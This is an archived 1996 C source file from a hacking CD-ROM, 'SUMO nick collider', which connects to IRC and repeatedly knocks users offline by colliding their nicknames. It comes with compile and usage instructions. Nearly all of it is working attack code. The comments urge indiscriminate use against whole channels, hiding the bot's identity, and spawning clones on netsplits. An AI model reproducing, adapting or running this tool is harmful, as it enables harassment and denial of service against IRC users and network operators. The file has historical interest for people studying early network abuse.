home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / hacking / virriiorg / sumo.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  18KB  |  658 lines

  1. /*
  2.  * SUMO nick collider (v1.00)
  3.  * Author: CKeeper [ckeeper@text.org]
  4.  * Version 1.00:
  5.  *    - Now outputs private messages if PRINT_MSGS is defined
  6.  *    - Should compile on more different kinds of machines
  7.  *    - Now accepts channel names without # signs (it adds them)
  8.  *    - Has a PRINT_NOISE define to switch on/off 'Attempting to collide' msgs
  9.  *    - No more lame goto's in the code
  10.  *
  11.  * Usage: 
  12.  *    sumo <server>[:<port>] <kill server>[:<port>] <nick> <list of channels>
  13.  *
  14.  * A fast automatic nick collider, like a C version of Serpent.
  15.  *
  16.  * To compile:
  17.  *     - On Linux and probably other systems with gcc, this will give you
  18.  *       a nice, small executable:
  19.  *         gcc -O2 -fomit-frame-pointer -s -o sumo sumo.c
  20.  *     - If that doesn't work, try this:
  21.  *         gcc -o sumo sumo.c
  22.  *     - If you don't have gcc, try this:
  23.  *         cc -o sumo sumo.c
  24.  * This program may not compile on non-Posix/BSD compliant machines like AIX
  25.  * or HP/UX without modifications to the code.  If you get some kind of error
  26.  * about there being no 'getdtablesize()', edit the code and find the one
  27.  * occurence of getdtablesize() and replace it with a constant like '64'.
  28.  * If you get an error about sys_errlist, add the line:
  29.  *   extern char *sys_errlist[];
  30.  * somewhere below the includes.
  31.  *
  32.  * The first <server> argument is the server that the channel-lurking bot
  33.  * will connect to.  This should be a close, fast, not-lagged server.
  34.  * The <kill server> is the server used for nick-change/join kills and should
  35.  * be a far-away (net-wise), lagged server.
  36.  * The <nick> is the nickname of the channel watcher.
  37.  * The <list of channels> is a list (seperated by spaces) of all the channels
  38.  * the bot should lurk and collide on.
  39.  *
  40.  * Both the servers must accept connections from your host, and should be
  41.  * servers that you wouldn't be crushed about being K-Lined (banned) from. :P
  42.  *
  43.  * When the program starts, it will create a watcher bot and a collide
  44.  * connection.  The watcher bot will join all the channels in the list and
  45.  * lurk.  The collide connection will be an un-logged-in connection to the
  46.  * kill server that will be there to assume someone's nick to collide them.
  47.  * The program will attempt to collide if any of the following things
  48.  * happen:
  49.  *     - Someone changes their nick: The bot will immediatly try to take
  50.  *       the same nickname on the kill server (the collide connection) and
  51.  *       if the kill server is lagged enough, the person will be collided.
  52.  *     - Someone joins the channel: The bot will try to assume the same
  53.  *       nickname on the kill server and if the person just signed on or
  54.  *       reconnected from a collide, and if the kill server is lagged enough,
  55.  *       the person will be collided.  This will often get people as they
  56.  *       reconnect from a collide and keep killing them over and over.
  57.  *     - Someone signs off on a netsplit (signoff message with two server
  58.  *       names in it): The bot will create a connection with the nickname
  59.  *       of the person who was split on the same server that it is connected
  60.  *       to (the first server argument).  Since we know that the person is
  61.  *       split away from this server, when the net reconnects they will be
  62.  *       collided.
  63.  *
  64.  * The third response (the split-collide response) can be disabled in the
  65.  * #define's below.  It is probably a good idea to disable this if you plan
  66.  * to run the bot un-attended since it can cause the bot to create a whole
  67.  * lot of clones and get you in trouble with admins.  (like running this bot
  68.  * at all isn't going to get you in trouble with admins :)
  69.  *
  70.  * The bot makes no discrimination about who it kills.  That means it isn't
  71.  * useful for war against certain people, but whole channels.  If the people
  72.  * in the channel never catch on and kick/ban it, the bot will keep lurking
  73.  * and colliding whenever it gets a chance.
  74.  *
  75.  * If you don't know what a collide is, or how it works, you probably won't
  76.  * know how to compile/use this program anyway.
  77.  *
  78.  * If you want to run sumo from inside IRC (/exec sumo ...) then #undef the
  79.  * RUN_BACKGROUND option below.  If you want sumo to go into the background
  80.  * like a daemon, #define the option.  If RUN_BACKGROUND is defined, when
  81.  * you want to kill the bot you must kill it's process with the 'kill'
  82.  * command. (Of course, sometimes you have to do this with /exec'd processes
  83.  * too)
  84.  *
  85.  * If you run the bot from inside IRC with '/exec sumo ...' you may need to
  86.  * leave the # signs off of the channel names.  This version lets you do that.
  87.  */
  88.  
  89. /* #define this if you want the bot to try to collide people if they split
  90.  * away (see above) */
  91. #define SPLIT_AWAY_COLLIDE
  92.  
  93. /* This is the IRCNAME used for the channel watcher bot.  Should be something
  94.  * that doesn't give the bot away */
  95. #define WATCHER_IRCNAME "PHeaR THe DaeMoNS. THeY aRe WaTCHiNG."
  96.  
  97. /* This is the username that the watcher bot will try to signon under.  This
  98.  * will have no effect if your system runs identd.  Also, you shouldn't mix
  99.  * the case of the letters in this string since some servers refuse mixed-case
  100.  * usernames. */
  101. #define WATCHER_USERNAME "omus"
  102.  
  103. /* #define this if you want private messages printed to stdout */
  104. #define PRINT_MSGS
  105.  
  106. /* #define this if you want the 'Attempting to collide ...' messages to be
  107.  * printed.  You should probably #undef this if you will be /exec'ing it
  108.  * from IRC */
  109. #define PRINT_NOISE
  110.  
  111. /* #define this if you want the bot to output a complete log of everything
  112.  * it sees (in raw irc format) to stdout */
  113. #undef OUTPUT_IRCLOG
  114.  
  115. /* #define this if you want the bot to fork into the background like a daemon.
  116.  * If this is defined, you should run the bot with stdout redirected to
  117.  * /dev/null or to a file (>>/dev/null) so the bot won't keep writing status
  118.  * messages to your console. */
  119. #undef RUN_BACKGROUND
  120.  
  121. /* The timeout settings below shouldn't need to be changed */
  122.  
  123. /* Timeout (in seconds) for the watcher bot connection */
  124. #define WATCHER_TIMEOUT 60
  125.  
  126. /* Timeout for the kill server connection */
  127. #define KILLER_TIMEOUT 60
  128.  
  129. /* Timeout for netsplit-collider connections */
  130. #define SPLITKILL_TIMEOUT 8
  131.  
  132. /* Every ?? seconds the bot makes sure it is on all it's channels */
  133. #define REJOIN_INTERVAL 60
  134.  
  135. /* ------------------------------------------------------------------------ */
  136.  
  137. #include <stdio.h>
  138. #include <stdlib.h>
  139. #include <unistd.h>
  140. #include <string.h>
  141. #include <netdb.h>
  142. #include <sys/types.h>
  143. #include <sys/socket.h>
  144. #include <sys/time.h>
  145. #include <sys/wait.h>
  146. #include <netinet/in.h>
  147. #include <signal.h>
  148. #include <errno.h>
  149.  
  150. extern errno;
  151. char *channel_list[24];
  152. int numchannels,watcherplug,killerplug;
  153. int botport = 6667;
  154. int killport = 6667;
  155. int linepos = 0;
  156. int loggedin = 0;
  157. fd_set myfds,nullfds,backfds;
  158. char outbuf[750],inbuf[4096],linebuf[750],junkbuf[255];
  159. char botserv[75],killserv[75],nick[10];
  160. char randjunk[] = "abcdefghijklmnopqrstuvwxyz";
  161.  
  162. /* Server numerics/commands */
  163. #define TOOMANYCHANNELS "405"
  164. #define ERRONEUSNICKNAME "432"
  165. #define NICKNAMEINUSE "433"
  166. #define LOGINACCEPTED "001"
  167. #define BANNEDFROMSERV "465"
  168. #define CLOSINGLINK "losin" /* Matched as a substring */
  169. #define USERSIGNOFF "QUIT"
  170. #define USERNICKCHANGE "NICK"
  171. #define USERJOIN "JOIN"
  172. #define USERKICK "KICK"
  173. #define USERMSG "PRIVMSG"
  174. #define USERNOTICE "NOTICE"
  175.  
  176. void connectout_timeout(int signum);
  177. int connectout(char *hname,int portnum,int timeout);
  178. void outsock(int plug,char *buff);
  179. void joinall(void);
  180. void signal_handler(int signum);
  181. char *randcrap(int numchars);
  182. char *nickonly(char *nickuserhost);
  183. void connect_watcher(void);
  184. void connect_killer(void);
  185. int my_stricmp(char *str1,char *str2);
  186. void process_incoming_line(char *rline);
  187. void select_loop(void);
  188. void bad_commandline(char *progname);
  189. void main(int argc,char *argv[]);
  190.  
  191. int timedout;
  192. void connectout_timeout(signum)
  193. int signum;
  194. {
  195.     timedout++;
  196. }
  197. int connectout(hname,portnum,timeout)
  198. char *hname;
  199. int portnum,timeout;
  200. {
  201.     struct hostent *host_name;
  202.     struct sockaddr_in socketname;
  203.     int plug,p;
  204.     
  205.     if ((plug = socket(AF_INET,SOCK_STREAM,0)) < 0)
  206.     {
  207.         return -1;
  208.     }
  209.     socketname.sin_family = AF_INET;
  210.     if ((host_name = gethostbyname(hname)) == (struct hostent *)NULL)
  211.     {
  212.         return -2;
  213.     }
  214.     socketname.sin_port = htons(portnum);
  215.     memcpy(&socketname.sin_addr,host_name->h_addr,host_name->h_length);
  216.     signal(SIGABRT,connectout_timeout);
  217.     p = fork();
  218.     if (p < 0)
  219.     {
  220.         fprintf(stderr,"Cannot fork!\n");
  221.         exit(EXIT_FAILURE);
  222.     }
  223.     timedout = 0;
  224.     /* My lame timeout implementation that doesn't eat tons of CPU time
  225.      * looping and doesn't clobber queued alarms */
  226.     if (!p)
  227.     {
  228.         sleep(timeout);
  229.         kill(getppid(),SIGABRT);
  230.         exit(EXIT_SUCCESS);
  231.     }
  232.     for (;;)
  233.     {
  234.         if ((connect(plug,(struct sockaddr *)&socketname,sizeof(socketname))) < 0)
  235.         {
  236.             if (!((errno == EINTR)&&(!timedout)))
  237.             {
  238.                 if (timedout)
  239.                 {
  240.                     errno = ETIMEDOUT;
  241.                 }
  242.                 kill(p,SIGKILL);
  243.                 signal(SIGABRT,SIG_DFL);
  244.                 waitpid(p,(int *)NULL,0);
  245.                 return -3;
  246.             }
  247.         } else {
  248.             kill(p,SIGKILL);
  249.             signal(SIGABRT,SIG_DFL);
  250.             waitpid(p,(int *)NULL,0);
  251.             return plug;
  252.         }
  253.     }
  254. }
  255.  
  256. void outsock(plug,buff)
  257. int plug;
  258. char *buff;
  259. {
  260.     send(plug,buff,strlen(buff),0);
  261. }
  262.  
  263. void joinall(void)
  264. {
  265.     int i;
  266.  
  267.     for (i=0;i<=numchannels;i++)
  268.     {
  269.         if (*channel_list[i] != '#')
  270.         {
  271.             sprintf(outbuf,"JOIN #%s\n",channel_list[i]);
  272.         } else
  273.             sprintf(outbuf,"JOIN %s\n",channel_list[i]);
  274.         outsock(watcherplug,outbuf);
  275.     }
  276. }
  277.  
  278. void signal_handler(signum)
  279. int signum;
  280. {
  281.     if (signum == SIGALRM)
  282.     {
  283.         joinall();
  284.         fflush(stdout);
  285.         alarm(REJOIN_INTERVAL);
  286.     }
  287.     signal(signum,signal_handler);
  288. }
  289.  
  290. /* I'm not gonna bother explaining why the offset to a random index.  Just
  291.  * take it out and see what happens :) */
  292. char *randcrap(numchars)
  293. int numchars;
  294. {
  295.     int c,i;
  296.     
  297.     i = random() % 200;
  298.     for (c=0;c<numchars;c++)
  299.     {
  300.         junkbuf[c+i] = randjunk[random() % 26];
  301.     }
  302.     junkbuf[numchars+i] = '\0';
  303.     return (char *)&junkbuf[i];
  304. }
  305.  
  306. char *nickonly(nickuserhost)
  307. char *nickuserhost;
  308. {
  309.     char *retptr;
  310.  
  311.     if (strchr(nickuserhost,'!'))
  312.     {
  313.         strcpy(junkbuf,nickuserhost);
  314.         retptr = strtok(junkbuf,"!");
  315.         if (strchr(retptr,':'))
  316.         {
  317.             retptr++;
  318.         }
  319.         return (char *)retptr;
  320.     } else {
  321.         return (char *)NULL;
  322.     }
  323. }
  324.  
  325. void connect_watcher(void)
  326. {
  327.     watcherplug = connectout(botserv,botport,WATCHER_TIMEOUT);
  328.     if (watcherplug < 0)
  329.     {
  330.         if (watcherplug == -2)
  331.         {
  332.             printf(" Could not resolve hostname\n");
  333.             exit(EXIT_FAILURE);
  334.         }
  335.         printf(" %s\n",sys_errlist[errno]);
  336.         exit(EXIT_FAILURE);
  337.     }
  338.     sprintf(outbuf,"NICK %s\nUSER %s . . :%s\nMODE %s :+i\n",nick,WATCHER_USERNAME,WATCHER_IRCNAME,nick);
  339.     outsock(watcherplug,outbuf);
  340.     joinall();
  341.     loggedin = 0;
  342.     FD_SET(watcherplug,&myfds);
  343. }
  344.  
  345. void connect_killer(void)
  346. {
  347.     killerplug = connectout(killserv,killport,KILLER_TIMEOUT);
  348.     if (killerplug < 0)
  349.     {
  350.         if (killerplug == -2)
  351.         {
  352.             printf(" Could not resolve hostname\n");
  353.             exit(EXIT_FAILURE);
  354.         }
  355.         printf(" %s\n",sys_errlist[errno]);
  356.         exit(EXIT_FAILURE);
  357.     }
  358.     sprintf(outbuf,"USER %s . . :%s %s %s\n",randcrap(8),randcrap(random() % 8),randcrap(random() % 16),randcrap(random() % 4));
  359.     outsock(killerplug,outbuf);
  360.     FD_SET(killerplug,&myfds);
  361. }
  362.  
  363. /* This one returns 1 if they match, 0 if they don't */
  364. int my_stricmp(str1,str2)
  365. char *str1,*str2;
  366. {
  367.     for (;;)
  368.     {
  369.         if ((*str1 & 64) != (*str2 & 64))
  370.         {
  371.             return 0;
  372.         }
  373.         str1++;
  374.         str2++;
  375.         if ((*str1 == '\0')||(*str2 == '\0'))
  376.         {
  377.             return 1;
  378.         }
  379.     }
  380. }
  381.  
  382. void process_incoming_line(rline)
  383. char *rline;
  384. {
  385.     char *numeric,*fromuser,*tmpptr;
  386.     char linebak[800];
  387. #ifdef SPLIT_AWAY_COLLIDE
  388.     int newplug;
  389. #endif
  390.  
  391.     if (!strncmp(rline,"PING",4))
  392.     {
  393.         sprintf(outbuf,"PONG :%s\n",nick);
  394.         outsock(watcherplug,outbuf);
  395.         return;
  396.     }
  397. #ifdef OUTPUT_IRCLOG
  398.     printf("%s\n",rline);
  399. #endif
  400.     strcpy(linebak,rline);
  401.     fromuser = strtok(rline," ");
  402.     numeric = strtok(NULL," ");
  403.     if (!strcmp(numeric,USERNICKCHANGE))
  404.     {
  405.         tmpptr = strtok(NULL," ");
  406.         if (strchr(tmpptr,':'))
  407.         {
  408.             tmpptr++;
  409.         }
  410.         if (strcmp(tmpptr,nick))
  411.         {
  412.             sprintf(outbuf,"NICK %s\n",tmpptr);
  413.             outsock(killerplug,outbuf);
  414. #ifdef PRINT_NOISE
  415.             printf("Attempting to collide %s on nick change...\n",tmpptr); fflush(stdout);
  416. #endif
  417.         }
  418.         return;
  419.     }
  420.     if ((!strcmp(numeric,USERJOIN))&&(strcmp(nickonly(fromuser),nick)))
  421.     {
  422.         sprintf(outbuf,"NICK %s\n",nickonly(fromuser));
  423.         outsock(killerplug,outbuf);
  424. #ifdef PRINT_NOISE
  425.         printf("Attempting to collide %s on join...\n",nickonly(fromuser)); fflush(stdout);
  426. #endif
  427.         return;
  428.     }
  429.     if (!strcmp(numeric,TOOMANYCHANNELS))
  430.     {
  431.         fprintf(stderr,"%i is too many channels!\n",numchannels);
  432.         exit(EXIT_FAILURE);
  433.     }
  434.     if (!strcmp(numeric,ERRONEUSNICKNAME))
  435.     {
  436.         fprintf(stderr,"%s",nick);
  437.         strcpy(nick,randcrap(9));
  438.         fprintf(stderr,": bad nickname, changing nickname to %s\n",nick);
  439.         sprintf(outbuf,"NICK %s\n",nick);
  440.         outsock(watcherplug,outbuf);
  441.         return;
  442.     }
  443.     if (!strcmp(numeric,NICKNAMEINUSE))
  444.     {
  445.         printf("%s",nick);
  446.         if (strlen(nick) >= 9)
  447.         {
  448.             nick[8] = '\0';
  449.         }
  450.         sprintf(junkbuf,"_%s",nick);
  451.         strcpy(nick,junkbuf);
  452.         printf(": nickname in use, changing nickname to %s\n",nick); fflush(stdout);
  453.         sprintf(outbuf,"NICK %s\n",nick);
  454.         outsock(watcherplug,outbuf);
  455.         joinall();
  456.         return;
  457.     }
  458.     if (!strcmp(numeric,LOGINACCEPTED))
  459.     {
  460.         if (!loggedin)
  461.         {
  462.             printf("Logged into %s as %s...\n",botserv,nick); fflush(stdout);
  463.         }
  464.         return;
  465.     }
  466.     if (!strcmp(numeric,BANNEDFROMSERV))
  467.     {
  468.         fprintf(stderr,"%s: banned from server!\n",botserv);
  469.         exit(EXIT_FAILURE);
  470.     }
  471.     if (strstr(numeric,CLOSINGLINK))
  472.     {
  473.         printf("!!! %s\n",linebak); fflush(stdout);
  474.         return;
  475.     }
  476. #ifdef SPLIT_AWAY_COLLIDE
  477.     if (!strcmp(numeric,USERSIGNOFF))
  478.     {
  479.         if (strchr(strtok(strrchr(linebak,':')," "),'.'))
  480.         {
  481.             if (strchr(strtok(NULL," "),'.'))
  482.             {
  483.                 newplug = connectout(botserv,botport,SPLITKILL_TIMEOUT);
  484.                 if (newplug >= 0)
  485.                 {
  486.                     sprintf(outbuf,"NICK %s\nUSER %s . . :%s %s\n",nickonly(fromuser),randcrap(7),randcrap(random() % 10),randcrap(random() % 12));
  487.                     outsock(newplug,outbuf);
  488.                     printf("Collidebot %s connected to %s\n",nickonly(fromuser),botserv); fflush(stdout);
  489.                 }
  490.             }
  491.         }
  492.     }
  493. #endif
  494.     if (!strcmp(numeric,USERKICK))
  495.     {
  496.         strcpy(outbuf,linebak);
  497.         strtok(linebak," ");
  498.         strtok(NULL," ");
  499.         tmpptr = strtok(NULL," ");
  500.         if (!strcmp(strtok(NULL," "),nick))
  501.         {
  502.             printf("Kicked from channel %s by %s (%s)\n",tmpptr,nickonly(fromuser),(strrchr(outbuf,':')+1)); fflush(stdout);
  503.             joinall();
  504.         }
  505.     }
  506. #ifdef PRINT_MSGS
  507.     if ((!strcmp(numeric,USERMSG))||(!strcmp(numeric,USERNOTICE)))
  508.     {
  509.         if ((my_stricmp(strtok(NULL," "),nick))&&(!strstr(fromuser,botserv)))
  510.         {
  511.             if (*fromuser == ':')
  512.             {
  513.                 fromuser++;
  514.             }
  515.             printf("[%s] %s\n",fromuser,(strrchr(linebak,':')+1)); fflush(stdout);
  516.         }
  517.     }
  518. #endif
  519. }
  520.  
  521. void select_loop(void)
  522. {
  523.     int amtread,i;
  524.     
  525.     memcpy(&backfds,&myfds,sizeof(backfds));
  526.     if (select(getdtablesize(),&myfds,&nullfds,&nullfds,(struct timeval *)NULL) < 0)
  527.     {
  528.         if (errno == EINTR)
  529.         {
  530.             FD_ZERO(&myfds);
  531.         } else {
  532.             fprintf(stderr,"Select error: %s\n",sys_errlist[errno]);
  533.             exit(EXIT_FAILURE);
  534.         }
  535.     }
  536.     if (FD_ISSET(watcherplug,&myfds))
  537.     {
  538.         amtread = recvfrom(watcherplug,&inbuf,sizeof(inbuf),0,(struct sockaddr *)NULL,(int *)NULL);
  539.         if (amtread > 0)
  540.         {
  541.             for (i=0;i<amtread;i++)
  542.             {
  543.                 linebuf[linepos] = inbuf[i];
  544.                 if (linebuf[linepos] == '\n')
  545.                 {
  546.                     linebuf[linepos] = '\0';
  547.                     if (linebuf[linepos-1] == '\015')
  548.                     {
  549.                         linebuf[linepos-1] = '\0';
  550.                     }
  551.                     process_incoming_line(linebuf);
  552.                     linepos = 0;
  553.                 } else {
  554.                     linepos++;
  555.                 }
  556.             }
  557.         } else {
  558.             close(watcherplug);
  559.             FD_CLR(watcherplug,&backfds);
  560.             printf("Reconnecting watcher bot..."); fflush(stdout);
  561.             connect_watcher();
  562.             printf(" done.\n"); fflush(stdout);
  563.             FD_SET(watcherplug,&backfds);
  564.         }
  565.     }
  566.     if (FD_ISSET(killerplug,&myfds))
  567.     {
  568.         if (recv(killerplug,&junkbuf,sizeof(junkbuf),0) < 1)
  569.         {
  570.             close(killerplug);
  571.             FD_CLR(killerplug,&backfds);
  572.             printf("Reconnecting killer..."); fflush(stdout);
  573.             connect_killer();
  574.             printf(" done.\n"); fflush(stdout);
  575.             FD_SET(killerplug,&backfds);
  576.         }
  577.     }
  578.     memcpy(&myfds,&backfds,sizeof(myfds));
  579. }
  580.                 
  581. void bad_commandline(progname)
  582. char *progname;
  583. {
  584.     fprintf(stderr,"Usage: %s <server>[:<port>] <kill server>[:<port>] <nick> <list of channels>\n",progname);
  585.     exit(EXIT_SUCCESS);
  586. }
  587.  
  588. void main(argc,argv)
  589. int argc;
  590. char *argv[];
  591. {
  592.     int i;
  593.  
  594.     if (argc < 5)
  595.     {
  596.         bad_commandline(argv[0]);
  597.     }
  598.  
  599.     numchannels = argc - 5;
  600.     for (i=0;i<=numchannels;i++)
  601.     {
  602.         channel_list[i] = argv[i+4];
  603.     }
  604.     if (strchr(argv[1],':'))
  605.     {
  606.         strcpy(botserv,strtok(argv[1],":"));
  607.         sscanf(strtok(NULL,":"),"%i",&botport);
  608.     } else {
  609.         strcpy(botserv,argv[1]);
  610.     }
  611.     if (strchr(argv[2],':'))
  612.     {
  613.         strcpy(killserv,strtok(argv[2],":"));
  614.         sscanf(strtok(NULL,":"),"%i",&killport);
  615.     } else {
  616.         strcpy(killserv,argv[2]);
  617.     }
  618.     if (strlen(argv[3]) <= 9)
  619.     {
  620.         strcpy(nick,argv[3]);
  621.     } else {
  622.         bad_commandline(argv[0]);
  623.     }
  624.  
  625. #ifdef RUN_BACKGROUND
  626.     if ((i = fork()))
  627.     {
  628.         if (i < 0)
  629.         {
  630.             fprintf(stderr,"Cannot fork!\n");
  631.             exit(EXIT_FAILURE);
  632.         }
  633.         fprintf(stderr,"Running as pid %i.  Type 'kill -KILL %i' to kill.\n",i,i);
  634.         exit(EXIT_SUCCESS);
  635.     }
  636. #endif
  637.  
  638.     FD_ZERO(&myfds);
  639.     FD_ZERO(&nullfds);
  640.     FD_ZERO(&backfds);
  641.     signal(SIGALRM,signal_handler);
  642.     signal(SIGPIPE,signal_handler);
  643.     signal(SIGHUP,SIG_IGN);
  644.     srandom(getpid()+getuid());
  645.     alarm(120);
  646.  
  647.     printf("Connecting watcher bot to %s:%i...",botserv,botport); fflush(stdout);
  648.     connect_watcher();
  649.     printf(" done.\nConnecting killer to %s:%i...",killserv,killport); fflush(stdout);
  650.     connect_killer();
  651.     printf(" done.\n"); fflush(stdout);
  652.     for(;;)
  653.     {
  654.         select_loop();
  655.     }
  656. }
  657.  
  658.